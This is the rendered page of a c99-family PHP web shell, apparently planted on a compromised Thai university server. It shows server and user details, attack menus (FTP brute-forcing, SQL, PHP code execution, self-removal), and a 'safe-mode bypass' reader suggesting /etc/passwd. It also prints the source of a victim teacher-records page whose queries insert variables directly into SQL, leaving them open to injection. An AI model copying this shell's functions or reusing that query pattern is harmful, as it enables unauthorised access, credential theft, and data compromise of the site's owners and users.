!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/edu_depart/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Tech_Edu_History.php (10.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result)
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.sidenav {    border-right-width: 1px;
    border-right-color: #EEEEEE;
    border-right-style: solid;
}
-->
</style>
<table width="840" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td width="840" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="Menu_Course.php">ข้อมูลฝ่ายวิชาการ</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> <a href="Menu_Faculty.php">ข้อมูลในหน่วยงาน</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />ข้อมูลการพัฒนา</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="">
    <table width="631" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td nowrap="nowrap" bgcolor="#EEEEEE"><div align="left"><font color="#003366" size="2" face="Tahoma">&nbsp;<?php echo $rs[First_name] ;?>&nbsp; <?php echo $rs[Teacher_name] ;?></font> <font color="#003366" size="2" face="Tahoma"> &nbsp;<?php echo $rs[Teacher_lastname] ;?></font> </div>
            <table width="100%" border="0" cellspacing="1" cellpadding="0">
              <tr>
                <td width="18%" rowspan="6" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ภาระงาน</font></div></td>
                <td width="3%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                <td width="66%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" face="Tahoma"><a href="showTrainingList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g"> ประวัติการพัฒนาตนเอง</a></font></td>
                <td width="13%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
        $Teacher_code 
$rs[Teacher_code];
       
$sql "Select * From training_tb  Where Teacher_code ='$Teacher_code'";
       
$resultc mysql_query($sql) or die(" Error $sql".mysql_error());
       
$Tcmysql_num_rows($resultc);
       echo
"$Tc";

     
?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" face="Tahoma"><a href="ResList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g">งานวิจัย</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
        $Teacher_code 
$rs[Teacher_code];
       
$sql "Select * From research_tb  Where Teacher_code ='$Teacher_code'";
       
$resultr mysql_query($sql) or die(" Error $sql".mysql_error());
       
$Rcmysql_num_rows($resultr);
       echo
"$Rc";

     
?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" face="Tahoma"><a href="ProductList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g">ผลงานวิชาการ</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
        $Teacher_code 
$rs[Teacher_code];
       
$sql "Select * From edu_product_tb  Where Teacher_code ='$Teacher_code'";
       
$resultE mysql_query($sql) or die(" Error $sql".mysql_error());
       
$Ecmysql_num_rows($resultE);
       echo
"$Ec";

     
?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><a href="PerCommitList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g"><font size="2" face="Tahoma">งานบริการวิชาการ</font></a></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
        $Teacher_code 
$rs[Teacher_code];
       
$sql "Select * From committee_tb  Where Teacher_code ='$Teacher_code'";
       
$resultC mysql_query($sql) or die(" Error $sql".mysql_error());
       
$Ccmysql_num_rows($resultC);
       echo
"$Cc";

     
?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><img src="../Image/arrow.gif" width="15" height="10" /></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" face="Tahoma"><a href="PlanList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g">แผนการสอนรายวิชา</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
        $Teacher_code 
$rs[Teacher_code];
       
$sql "Select * From tech_plan_tb  Where Teacher_code ='$Teacher_code'";
       
$resultp mysql_query($sql) or die(" Error $sql".mysql_error());
       
$pcmysql_num_rows($resultp);
       echo
"$pc";

     
?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" face="Tahoma"><a href="StdAdviceList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g">นักศึกษาในความรับผิดชอบ</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                  <?php
        $Teacher_code 
$rs[Teacher_code];
       
$sql "Select * From student_tb  Where Teacher_code ='$Teacher_code'";
       
$resultp mysql_query($sql) or die(" Error $sql".mysql_error());
       
$pcmysql_num_rows($resultp);
       echo
"$pc";

     
?>
                  ระเบียน</font></div></td>
              </tr>
          </table></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td nowrap="nowrap" bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> &nbsp;
              <?php
        $Degree_code 
$rs[Degree_code];
       
$sql "Select * From degree_tb  Where Degree_code ='$Degree_code'";
       
$result2 mysql_query($sql) or die(" Error $sql".mysql_error());
       
$row2mysql_fetch_array($result2);
       echo
"$row2[Degree_name]";

     
?>
        </font></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE" >
        <td nowrap="nowrap" bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;<?php echo $rs[Degree_His1] ;?> <?php echo $rs[Year_1] ;?></font></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td nowrap="nowrap" bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;<?php echo $rs[Degree_His2] ;?> <?php echo $rs[Year_2] ;?> </font></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td nowrap="nowrap" bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;<?php echo $rs[Degree_His3] ;?> <?php echo $rs[Year_3] ;?> </font></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td nowrap="nowrap" bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><?php echo nl2br($rs[Skill]) ;?></font></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td nowrap="nowrap" bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> &nbsp;&nbsp;
              <?php 
      $Faculty_code 
$rs[Faculty_code];
      
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code'";
      
$result1 mysql_query($sql) or die("Error".mysql_error());;
      
$rss mysql_fetch_array($result1);
      echo 
$rss[Faculty_name] ;
      
?>
        </font></td>
      </tr>
      <tr>
        <td width="693" >&nbsp;</td>
      </tr>
    </table>
    </form>
          </fieldset>
        <br>
      <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ</font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0074 ]--